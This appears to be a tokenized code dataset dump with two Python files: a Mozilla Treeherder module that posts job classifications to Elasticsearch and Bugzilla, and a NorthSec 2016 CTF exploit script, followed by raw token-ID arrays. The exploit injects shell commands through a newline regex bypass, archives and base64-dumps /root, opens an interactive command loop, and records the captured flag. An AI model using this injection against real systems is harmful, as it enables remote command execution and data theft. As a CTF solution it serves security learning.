repo_name
stringlengths
6
100
path
stringlengths
4
294
copies
stringclasses
981 values
size
stringlengths
4
6
content
stringlengths
606
896k
license
stringclasses
15 values
input_ids
listlengths
1.02k
1.02k
labels
listlengths
1.02k
1.02k
attention_mask
listlengths
1.02k
1.02k
deathping1994/treeherder
treeherder/etl/classification_mirroring.py
5
7140
import logging from datetime import datetime import requests import simplejson as json from django.conf import settings from treeherder.model.derived import ArtifactsModel, JobsModel logger = logging.getLogger(__name__) class ElasticsearchDocRequest(object): def __init__(self, project, job_id, bug_id, classification_timestamp, who): self.project = project self.job_id = job_id self.bug_id = bug_id self.classification_timestamp = classification_timestamp self.who = who self.body = {} def generate_request_body(self): """ Create the data structure that will be sent to Elasticsearch. """ with JobsModel(self.project) as jobs_model, ArtifactsModel(self.project) as artifacts_model: job_data = jobs_model.get_job(self.job_id)[0] option_collection = jobs_model.refdata_model.get_all_option_collections() revision_list = jobs_model.get_resultset_revisions_list(job_data["result_set_id"]) buildapi_artifact = artifacts_model.get_job_artifact_list(0, 1, { 'job_id': set([("=", self.job_id)]), 'name': set([("=", "buildapi")]) }) if buildapi_artifact: buildname = buildapi_artifact[0]["blob"]["buildername"] else: # OrangeFactor needs a buildname to be set or it skips the failure # classification, so we make one up for non-buildbot jobs. buildname = 'non-buildbot %s test %s' % (job_data["platform"], job_data["job_type_name"]) self.body = { "buildname": buildname, "machinename": job_data["machine_name"], "os": job_data["platform"], # I'm using the request time date here, as start time is not # available for pending jobs "date": datetime.fromtimestamp( int(job_data["submit_timestamp"])).strftime("%Y-%m-%d"), "type": job_data["job_type_name"], "buildtype": option_collection[ job_data["option_collection_hash"] ]["opt"], # Intentionally using strings for starttime, bug, timestamp for compatibility # with TBPL's legacy output format. "starttime": str(job_data["start_timestamp"]), "tree": self.project, "rev": revision_list[0]["revision"], "bug": str(self.bug_id), "who": self.who, "timestamp": str(self.classification_timestamp), "treeherder_job_id": self.job_id, } def send_request(self): """ Send request to Elasticsearch. """ es_host = settings.ES_HOST es_endpoint = "/bugs/bug_info/" es_url = "".join([es_host, es_endpoint]) logger.info("Sending data to %s: %s", es_url, self.body) headers = {'Content-Type': 'text/plain', 'Connection': 'close'} r = requests.post(es_url, data=json.dumps(self.body), headers=headers, timeout=settings.TREEHERDER_REQUESTS_TIMEOUT) try: r.raise_for_status() except requests.exceptions.HTTPError: logger.error("HTTPError %s submitting to %s: %s", r.status_code, es_url, r.text) raise class BugzillaCommentRequest(object): def __init__(self, project, job_id, bug_id, who): self.project = project self.job_id = job_id self.bug_id = bug_id self.who = who self.body = "" def generate_request_body(self): """ Create a comment describing the failure, that will be posted to Bugzilla. This is triggered by a new bug-job association. """ with JobsModel(self.project) as jobs_model, ArtifactsModel(self.project) as artifacts_model: job = jobs_model.get_job(self.job_id)[0] failures_artifacts = artifacts_model.get_job_artifact_list(0, 1, { 'job_id': set([('=', job['id'])]), 'name': set([('=', 'Bug suggestions')]), }) error_lines = [] for artifact in failures_artifacts: # a bug suggestion aritfact looks like this: # [{ "search": "my-error-line", "search_terms": [], "bugs": ....}] error_lines += [line["search"] for line in artifact["blob"]] revision_list = jobs_model.get_resultset_revisions_list( job["result_set_id"] ) buildapi_info = artifacts_model.get_job_artifact_list(0, 1, { 'job_id': set([("=", self.job_id)]), 'name': set([("=", "buildapi")]) }) who = self.who \ .replace("@", "[at]")\ .replace(".", "[dot]") start_time = datetime.fromtimestamp(job["start_timestamp"]).isoformat() job_description = { 'repository': self.project, 'who': who, 'start_time': start_time, 'log': "{0}/logviewer.html#?repo={1}&job_id={2}".format( settings.SITE_URL, self.project, self.job_id ), 'machine': job["machine_name"], 'revision': revision_list[0]["revision"], } if buildapi_info: job_description['buildname'] = buildapi_info[0]["blob"]["buildername"] else: # make up a buildername for taskcluster jobs job_description['buildname'] = 'non-buildbot %s test %s' % (job["platform"], job["job_type_name"]) body_comment = '\n'.join( ["{0}: {1}".format(k, v) for k, v in job_description.items()]) body_comment += '\n\n' body_comment += '\n'.join(error_lines) # Truncate the comment to ensure it is not rejected for exceeding the max # Bugzilla comment length and to reduce the amount of spam in bugs. We should # rarely hit this given the number of error lines are capped during ingestion. if len(body_comment) > settings.BZ_MAX_COMMENT_LENGTH: body_comment = body_comment[:settings.BZ_MAX_COMMENT_LENGTH - 3] + '...' self.body = { "comment": body_comment } def send_request(self): """ Post the bug comment to Bugzilla's REST API. """ if not self.body: self.generate_request_body() bz_comment_endpoint = "/rest/bug/%s/comment" % self.bug_id api_url = "".join([settings.BZ_API_URL, bz_comment_endpoint]) credentials = {'login': settings.TBPLBOT_EMAIL, 'password': settings.TBPLBOT_PASSWORD} headers = {'Accept': 'application/json', 'Content-Type': 'application/json'} logger.info("Sending data to %s: %s", api_url, self.body) r = requests.post(api_url, params=credentials, data=json.dumps(self.body), headers=headers, timeout=settings.TREEHERDER_REQUESTS_TIMEOUT) try: r.raise_for_status() except requests.exceptions.HTTPError: logger.error("HTTPError %s submitting to %s: %s", r.status_code, api_url, r.text) raise
mpl-2.0
[ 646, 2050, 199, 504, 2197, 492, 2197, 199, 199, 646, 4145, 199, 646, 13804, 465, 2022, 199, 504, 1639, 14, 2190, 492, 2202, 199, 199, 504, 3123, 2523, 424, 14, 1238, 14, 19588, 492, 1952, 17530, 1685, 12, 7135, 1533, 1685, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 19509, 1733, 3768, 2017, 8, 785, 304, 339, 347, 636, 826, 721, 277, 12, 2199, 12, 3906, 63, 344, 12, 6519, 63, 344, 12, 12505, 63, 3954, 12, 3963, 304, 267, 291, 14, 1715, 275, 2199, 267, 291, 14, 2423, 63, 344, 275, 3906, 63, 344, 267, 291, 14, 1266, 63, 344, 275, 6519, 63, 344, 267, 291, 14, 14368, 63, 3954, 275, 12505, 63, 3954, 267, 291, 14, 11345, 275, 3963, 267, 291, 14, 2030, 275, 1052, 339, 347, 3550, 63, 1069, 63, 2030, 8, 277, 304, 267, 408, 267, 2790, 314, 666, 5523, 626, 911, 506, 4847, 370, 19509, 1733, 14, 267, 408, 267, 543, 7135, 1533, 1685, 8, 277, 14, 1715, 9, 465, 9643, 63, 1238, 12, 1952, 17530, 1685, 8, 277, 14, 1715, 9, 465, 27990, 63, 1238, 26, 288, 3906, 63, 576, 275, 9643, 63, 1238, 14, 362, 63, 2423, 8, 277, 14, 2423, 63, 344, 2788, 16, 61, 288, 945, 63, 3627, 275, 9643, 63, 1238, 14, 1121, 576, 63, 1238, 14, 362, 63, 452, 63, 1422, 63, 7882, 342, 288, 6974, 63, 513, 275, 9643, 63, 1238, 14, 362, 63, 1099, 409, 63, 23449, 63, 513, 8, 2423, 63, 576, 905, 1099, 63, 409, 63, 344, 3135, 288, 1900, 1246, 63, 16154, 275, 27990, 63, 1238, 14, 362, 63, 2423, 63, 16154, 63, 513, 8, 16, 12, 413, 12, 469, 355, 283, 2423, 63, 344, 356, 663, 27187, 11107, 291, 14, 2423, 63, 344, 16636, 355, 283, 354, 356, 663, 27187, 11107, 298, 1506, 1246, 13403, 288, 3828, 288, 340, 1900, 1246, 63, 16154, 26, 355, 1900, 354, 275, 1900, 1246, 63, 16154, 59, 16, 7541, 6582, 6611, 5649, 354, 937, 288, 587, 26, 355, 327, 593, 1842, 12666, 4839, 282, 1900, 354, 370, 506, 663, 503, 652, 30505, 314, 5988, 355, 327, 12505, 12, 880, 781, 1852, 1373, 1536, 367, 2222, 13, 25497, 9643, 14, 355, 1900, 354, 275, 283, 2865, 13, 25497, 450, 83, 511, 450, 83, 7, 450, 334, 2423, 63, 576, 905, 3246, 2255, 3906, 63, 576, 905, 2423, 63, 466, 63, 354, 3135, 398, 291, 14, 2030, 275, 469, 288, 298, 1506, 354, 582, 1900, 354, 12, 288, 298, 14121, 262, 17604, 582, 3906, 63, 576, 905, 6744, 63, 354, 2255, 288, 298, 736, 582, 3906, 63, 576, 905, 3246, 2255, 288, 327, 473, 6704, 1808, 314, 1056, 900, 1434, 2348, 12, 465, 1343, 900, 365, 440, 288, 327, 2808, 367, 9413, 9643, 288, 298, 602, 582, 2197, 14, 18531, 8, 355, 1109, 8, 2423, 63, 576, 905, 7275, 63, 3954, 937, 4992, 6205, 3647, 57, 3295, 77, 3295, 68, 1288, 288, 298, 466, 582, 3906, 63, 576, 905, 2423, 63, 466, 63, 354, 2255, 288, 298, 1506, 466, 582, 945, 63, 3627, 59, 355, 3906, 63, 576, 905, 1422, 63, 3627, 63, 2227, 937, 288, 1622, 905, 2992, 2255, 288, 327, 1010, 9553, 1183, 1808, 3326, 367, 1343, 521, 12, 6519, 12, 4913, 367, 7163, 288, 327, 543, 377, 34, 2749, 1159, 12139, 1072, 1475, 14, 288, 298, 32183, 582, 620, 8, 2423, 63, 576, 905, 928, 63, 3954, 10252, 288, 298, 2350, 582, 291, 14, 1715, 12, 288, 298, 4964, 582, 6974, 63, 513, 59, 16, 7541, 5792, 2255, 288, 298, 1266, 582, 620, 8, 277, 14, 1266, 63, 344, 395, 288, 298, 11345, 582, 291, 14, 11345, 12, 288, 298, 3954, 582, 620, 8, 277, 14, 14368, 63, 3954, 395, 288, 298, 2350, 2523, 424, 63, 2423, 63, 344, 582, 291, 14, 2423, 63, 344, 12, 267, 789, 339, 347, 3222, 63, 1069, 8, 277, 304, 267, 408, 267, 10217, 1056, 370, 19509, 1733, 14, 267, 408, 267, 9455, 63, 1102, 275, 2202, 14, 654, 63, 5449, 267, 9455, 63, 6520, 275, 3286, 13017, 15, 1266, 63, 815, 6687, 267, 9455, 63, 633, 275, 10587, 904, 779, 397, 63, 1102, 12, 9455, 63, 6520, 566, 267, 2512, 14, 815, 480, 27219, 666, 370, 450, 83, 26, 450, 83, 401, 9455, 63, 633, 12, 291, 14, 2030, 9, 267, 2323, 275, 791, 2714, 13, 804, 356, 283, 505, 15, 6104, 297, 283, 3225, 356, 283, 1600, 936, 267, 519, 275, 4145, 14, 1932, 8, 397, 63, 633, 12, 666, 29, 1001, 14, 4180, 8, 277, 14, 2030, 395, 2323, 29, 2139, 12, 2653, 29, 1751, 14, 22841, 3452, 11733, 63, 6780, 51, 63, 8899, 9, 267, 862, 26, 288, 519, 14, 3730, 63, 509, 63, 1205, 342, 267, 871, 4145, 14, 3924, 14, 12815, 26, 288, 2512, 14, 705, 480, 12815, 450, 83, 11482, 1337, 370, 450, 83, 26, 450, 83, 401, 519, 14, 1205, 63, 600, 12, 9455, 63, 633, 12, 519, 14, 505, 9, 288, 746, 421, 199, 533, 21605, 6956, 7488, 2017, 8, 785, 304, 339, 347, 636, 826, 721, 277, 12, 2199, 12, 3906, 63, 344, 12, 6519, 63, 344, 12, 3963, 304, 267, 291, 14, 1715, 275, 2199, 267, 291, 14, 2423, 63, 344, 275, 3906, 63, 344, 267, 291, 14, 1266, 63, 344, 275, 6519, 63, 344, 267, 291, 14, 11345, 275, 3963, 267, 291, 14, 2030, 275, 3087, 339, 347, 3550, 63, 1069, 63, 2030, 8, 277, 304, 267, 408, 267, 2790, 282, 3721, 13660, 314, 5988, 12, 626, 911, 506, 22752, 370, 21605, 6956, 14, 267, 961, 365, 15572, 701, 282, 892, 6519, 13, 2423, 20640, 14, 267, 408, 267, 543, 7135, 1533, 1685, 8, 277, 14, 1715, 9, 465, 9643, 63, 1238, 12, 1952, 17530, 1685, 8, 277, 14, 1715, 9, 465, 27990, 63, 1238, 26, 288, 3906, 275, 9643, 63, 1238, 14, 362, 63, 2423, 8, 277, 14, 2423, 63, 344, 2788, 16, 61, 288, 9081, 63, 30129, 275, 27990, 63, 1238, 14, 362, 63, 2423, 63, 16154, 63, 513, 8, 16, 12, 413, 12, 469, 355, 283, 2423, 63, 344, 356, 663, 8318, 4009, 3906, 459, 344, 1105, 2522, 355, 283, 354, 356, 663, 8318 ]
[ 2050, 199, 504, 2197, 492, 2197, 199, 199, 646, 4145, 199, 646, 13804, 465, 2022, 199, 504, 1639, 14, 2190, 492, 2202, 199, 199, 504, 3123, 2523, 424, 14, 1238, 14, 19588, 492, 1952, 17530, 1685, 12, 7135, 1533, 1685, 199, 199, 2921, 275, 2050, 14, 5572, 3460, 354, 3368, 421, 199, 533, 19509, 1733, 3768, 2017, 8, 785, 304, 339, 347, 636, 826, 721, 277, 12, 2199, 12, 3906, 63, 344, 12, 6519, 63, 344, 12, 12505, 63, 3954, 12, 3963, 304, 267, 291, 14, 1715, 275, 2199, 267, 291, 14, 2423, 63, 344, 275, 3906, 63, 344, 267, 291, 14, 1266, 63, 344, 275, 6519, 63, 344, 267, 291, 14, 14368, 63, 3954, 275, 12505, 63, 3954, 267, 291, 14, 11345, 275, 3963, 267, 291, 14, 2030, 275, 1052, 339, 347, 3550, 63, 1069, 63, 2030, 8, 277, 304, 267, 408, 267, 2790, 314, 666, 5523, 626, 911, 506, 4847, 370, 19509, 1733, 14, 267, 408, 267, 543, 7135, 1533, 1685, 8, 277, 14, 1715, 9, 465, 9643, 63, 1238, 12, 1952, 17530, 1685, 8, 277, 14, 1715, 9, 465, 27990, 63, 1238, 26, 288, 3906, 63, 576, 275, 9643, 63, 1238, 14, 362, 63, 2423, 8, 277, 14, 2423, 63, 344, 2788, 16, 61, 288, 945, 63, 3627, 275, 9643, 63, 1238, 14, 1121, 576, 63, 1238, 14, 362, 63, 452, 63, 1422, 63, 7882, 342, 288, 6974, 63, 513, 275, 9643, 63, 1238, 14, 362, 63, 1099, 409, 63, 23449, 63, 513, 8, 2423, 63, 576, 905, 1099, 63, 409, 63, 344, 3135, 288, 1900, 1246, 63, 16154, 275, 27990, 63, 1238, 14, 362, 63, 2423, 63, 16154, 63, 513, 8, 16, 12, 413, 12, 469, 355, 283, 2423, 63, 344, 356, 663, 27187, 11107, 291, 14, 2423, 63, 344, 16636, 355, 283, 354, 356, 663, 27187, 11107, 298, 1506, 1246, 13403, 288, 3828, 288, 340, 1900, 1246, 63, 16154, 26, 355, 1900, 354, 275, 1900, 1246, 63, 16154, 59, 16, 7541, 6582, 6611, 5649, 354, 937, 288, 587, 26, 355, 327, 593, 1842, 12666, 4839, 282, 1900, 354, 370, 506, 663, 503, 652, 30505, 314, 5988, 355, 327, 12505, 12, 880, 781, 1852, 1373, 1536, 367, 2222, 13, 25497, 9643, 14, 355, 1900, 354, 275, 283, 2865, 13, 25497, 450, 83, 511, 450, 83, 7, 450, 334, 2423, 63, 576, 905, 3246, 2255, 3906, 63, 576, 905, 2423, 63, 466, 63, 354, 3135, 398, 291, 14, 2030, 275, 469, 288, 298, 1506, 354, 582, 1900, 354, 12, 288, 298, 14121, 262, 17604, 582, 3906, 63, 576, 905, 6744, 63, 354, 2255, 288, 298, 736, 582, 3906, 63, 576, 905, 3246, 2255, 288, 327, 473, 6704, 1808, 314, 1056, 900, 1434, 2348, 12, 465, 1343, 900, 365, 440, 288, 327, 2808, 367, 9413, 9643, 288, 298, 602, 582, 2197, 14, 18531, 8, 355, 1109, 8, 2423, 63, 576, 905, 7275, 63, 3954, 937, 4992, 6205, 3647, 57, 3295, 77, 3295, 68, 1288, 288, 298, 466, 582, 3906, 63, 576, 905, 2423, 63, 466, 63, 354, 2255, 288, 298, 1506, 466, 582, 945, 63, 3627, 59, 355, 3906, 63, 576, 905, 1422, 63, 3627, 63, 2227, 937, 288, 1622, 905, 2992, 2255, 288, 327, 1010, 9553, 1183, 1808, 3326, 367, 1343, 521, 12, 6519, 12, 4913, 367, 7163, 288, 327, 543, 377, 34, 2749, 1159, 12139, 1072, 1475, 14, 288, 298, 32183, 582, 620, 8, 2423, 63, 576, 905, 928, 63, 3954, 10252, 288, 298, 2350, 582, 291, 14, 1715, 12, 288, 298, 4964, 582, 6974, 63, 513, 59, 16, 7541, 5792, 2255, 288, 298, 1266, 582, 620, 8, 277, 14, 1266, 63, 344, 395, 288, 298, 11345, 582, 291, 14, 11345, 12, 288, 298, 3954, 582, 620, 8, 277, 14, 14368, 63, 3954, 395, 288, 298, 2350, 2523, 424, 63, 2423, 63, 344, 582, 291, 14, 2423, 63, 344, 12, 267, 789, 339, 347, 3222, 63, 1069, 8, 277, 304, 267, 408, 267, 10217, 1056, 370, 19509, 1733, 14, 267, 408, 267, 9455, 63, 1102, 275, 2202, 14, 654, 63, 5449, 267, 9455, 63, 6520, 275, 3286, 13017, 15, 1266, 63, 815, 6687, 267, 9455, 63, 633, 275, 10587, 904, 779, 397, 63, 1102, 12, 9455, 63, 6520, 566, 267, 2512, 14, 815, 480, 27219, 666, 370, 450, 83, 26, 450, 83, 401, 9455, 63, 633, 12, 291, 14, 2030, 9, 267, 2323, 275, 791, 2714, 13, 804, 356, 283, 505, 15, 6104, 297, 283, 3225, 356, 283, 1600, 936, 267, 519, 275, 4145, 14, 1932, 8, 397, 63, 633, 12, 666, 29, 1001, 14, 4180, 8, 277, 14, 2030, 395, 2323, 29, 2139, 12, 2653, 29, 1751, 14, 22841, 3452, 11733, 63, 6780, 51, 63, 8899, 9, 267, 862, 26, 288, 519, 14, 3730, 63, 509, 63, 1205, 342, 267, 871, 4145, 14, 3924, 14, 12815, 26, 288, 2512, 14, 705, 480, 12815, 450, 83, 11482, 1337, 370, 450, 83, 26, 450, 83, 401, 519, 14, 1205, 63, 600, 12, 9455, 63, 633, 12, 519, 14, 505, 9, 288, 746, 421, 199, 533, 21605, 6956, 7488, 2017, 8, 785, 304, 339, 347, 636, 826, 721, 277, 12, 2199, 12, 3906, 63, 344, 12, 6519, 63, 344, 12, 3963, 304, 267, 291, 14, 1715, 275, 2199, 267, 291, 14, 2423, 63, 344, 275, 3906, 63, 344, 267, 291, 14, 1266, 63, 344, 275, 6519, 63, 344, 267, 291, 14, 11345, 275, 3963, 267, 291, 14, 2030, 275, 3087, 339, 347, 3550, 63, 1069, 63, 2030, 8, 277, 304, 267, 408, 267, 2790, 282, 3721, 13660, 314, 5988, 12, 626, 911, 506, 22752, 370, 21605, 6956, 14, 267, 961, 365, 15572, 701, 282, 892, 6519, 13, 2423, 20640, 14, 267, 408, 267, 543, 7135, 1533, 1685, 8, 277, 14, 1715, 9, 465, 9643, 63, 1238, 12, 1952, 17530, 1685, 8, 277, 14, 1715, 9, 465, 27990, 63, 1238, 26, 288, 3906, 275, 9643, 63, 1238, 14, 362, 63, 2423, 8, 277, 14, 2423, 63, 344, 2788, 16,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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
aweinstock314/aweinstock-ctf-writeups
northsec_2016/ping_management/ping_management_exploit.py
1
2357
#!/usr/bin/env python import requests import re import IPython #url = 'http://ping-management.marcusmadisonbakery.ctf/' url = 'http://ping-management.marcusmadisonbakery.ctf:3003/ping' def poke(ip): s = requests.session() r1 = s.get(url) auth = re.findall('id="authenticity_token" value="([^"]*)" />', r1.text)[0] r2 = s.post(url, data={'ip': ip, 'authenticity_token': auth}) print(r2.text) return (s,r1,r2) #poke('::\0') #s = "0:"*6+"255"+".d"+".d"+".d" #megaregex = '^ *((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]d|1dd|[1-9]?d)(.(25[0-5]|2[0-4]d|1dd|[1-9]?d)){3}))|:))) *$' #print(repr(s)) #print(re.match(megaregex, s).span()) #poke(s) ''' negasora suggested that the site looked like ruby searching for "ruby regex bypass" found http://homakov.blogspot.ca/2012/05/saferweb-injects-in-various-ruby.html Quote: ^ for start-of-string and $ for end-of-string ARE just new lines - \n! ''' #poke('::\n; echo hello') poke('; id\n::\n') def shellcmd(s): return poke('; %s\n::\n' % (s,))[2].text with open('pinghelper_files.tar.gz.base64.html', 'w') as f: shellcmd('tar cf /tmp/pinghelper_files.tar /root') shellcmd('gzip -9 /tmp/pinghelper_files.tar') f.write(shellcmd('base64 /tmp/pinghelper_files.tar.gz')) #IPython.embed() while True: shellcmd(raw_input()) ''' cat ../flag.txt R3g3xAr3F0nz tar cf /tmp/pinghelper_files.tar /root gzip -9 /tmp/pinghelper_files.tar base64 /tmp/pinghelper_files.tar.gz '''
agpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 646, 4145, 199, 646, 295, 199, 646, 16243, 199, 199, 3, 633, 275, 283, 1014, 921, 4073, 13, 8110, 14, 30342, 527, 391, 328, 834, 27162, 994, 14, 319, 70, 4805, 199, 633, 275, 283, 1014, 921, 4073, 13, 8110, 14, 30342, 527, 391, 328, 834, 27162, 994, 14, 319, 70, 26, 5863, 19, 15, 4073, 7, 199, 199, 318, 1115, 415, 8, 711, 304, 272, 308, 275, 4145, 14, 1730, 342, 272, 519, 17, 275, 308, 14, 362, 8, 633, 9, 272, 1790, 275, 295, 14, 6452, 360, 344, 628, 1178, 287, 280, 3690, 63, 1418, 2, 574, 24296, 25952, 1182, 4206, 519, 17, 14, 505, 2788, 16, 61, 272, 519, 18, 275, 308, 14, 1932, 8, 633, 12, 666, 3713, 711, 356, 3384, 12, 283, 1178, 287, 280, 3690, 63, 1418, 356, 1790, 1552, 272, 870, 8, 82, 18, 14, 505, 9, 272, 372, 334, 83, 12, 82, 17, 12, 82, 18, 9, 199, 199, 3, 31696, 6176, 3427, 16, 358, 199, 3, 83, 275, 298, 16, 5424, 10, 22, 5207, 2299, 7709, 1674, 68, 7709, 1674, 68, 7709, 1674, 68, 2, 199, 3, 32177, 1530, 2145, 275, 14452, 627, 1332, 779, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 23, 93, 779, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 22441, 26, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 22, 22999, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 22441, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 1552, 25004, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 21, 93, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 18, 1552, 25004, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 1552, 25004, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 20, 93, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 19, 1552, 92, 1332, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 31, 26, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 12466, 25004, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 19, 93, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 20, 1552, 92, 1332, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 16, 12, 18, 9160, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 12466, 25004, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 18, 93, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 21, 1552, 92, 1332, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 16, 12, 19, 9160, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 12466, 25004, 430, 92, 27123, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 9160, 11224, 17, 93, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 22, 1552, 92, 1332, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 16, 12, 20, 9160, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 12466, 25004, 430, 92, 8, 26, 12925, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 17, 12, 23, 1552, 92, 1332, 7766, 16, 13, 25, 33, 13, 1906, 13, 70, 8194, 17, 12, 20, 1552, 91, 16, 12, 21, 9160, 1332, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 5130, 14, 8, 821, 59, 16, 13, 21, 11752, 18, 59, 16, 13, 20, 61, 68, 92, 17, 617, 17884, 17, 13, 25, 11843, 68, 430, 91, 19, 12466, 25004, 1724, 627, 12913, 199, 3, 1361, 8, 2722, 8, 83, 430, 199, 3, 1361, 8, 264, 14, 1431, 8, 32177, 1530, 2145, 12, 308, 680, 3751, 1012, 199, 3, 31696, 8, 83, 9, 199, 199, 2344, 199, 8705, 305, 11131, 25697, 626, 314, 4770, 21182, 2839, 31855, 199, 1733, 316, 367, 298, 21952, 5163, 21115, 2, 1911, 1455, 921, 526, 19491, 86, 14, 66, 7270 ]
[ 2647, 15, 1393, 15, 1813, 2366, 199, 646, 4145, 199, 646, 295, 199, 646, 16243, 199, 199, 3, 633, 275, 283, 1014, 921, 4073, 13, 8110, 14, 30342, 527, 391, 328, 834, 27162, 994, 14, 319, 70, 4805, 199, 633, 275, 283, 1014, 921, 4073, 13, 8110, 14, 30342, 527, 391, 328, 834, 27162, 994, 14, 319, 70, 26, 5863, 19, 15, 4073, 7, 199, 199, 318, 1115, 415, 8, 711, 304, 272, 308, 275, 4145, 14, 1730, 342, 272, 519, 17, 275, 308, 14, 362, 8, 633, 9, 272, 1790, 275, 295, 14, 6452, 360, 344, 628, 1178, 287, 280, 3690, 63, 1418, 2, 574, 24296, 25952, 1182, 4206, 519, 17, 14, 505, 2788, 16, 61, 272, 519, 18, 275, 308, 14, 1932, 8, 633, 12, 666, 3713, 711, 356, 3384, 12, 283, 1178, 287, 280, 3690, 63, 1418, 356, 1790, 1552, 272, 870, 8, 82, 18, 14, 505, 9, 272, 372, 334, 83, 12, 82, 17, 12, 82, 18, 9, 199, 199, 3, 31696, 6176, 3427, 16, 358, 199, 3, 83, 275, 298, 16, 5424, 10, 22, 5207, 2299, 7709, 1674, 68, 7709, 1674, 68, 7709, 1674, 68, 2, 199, 3, 32177, 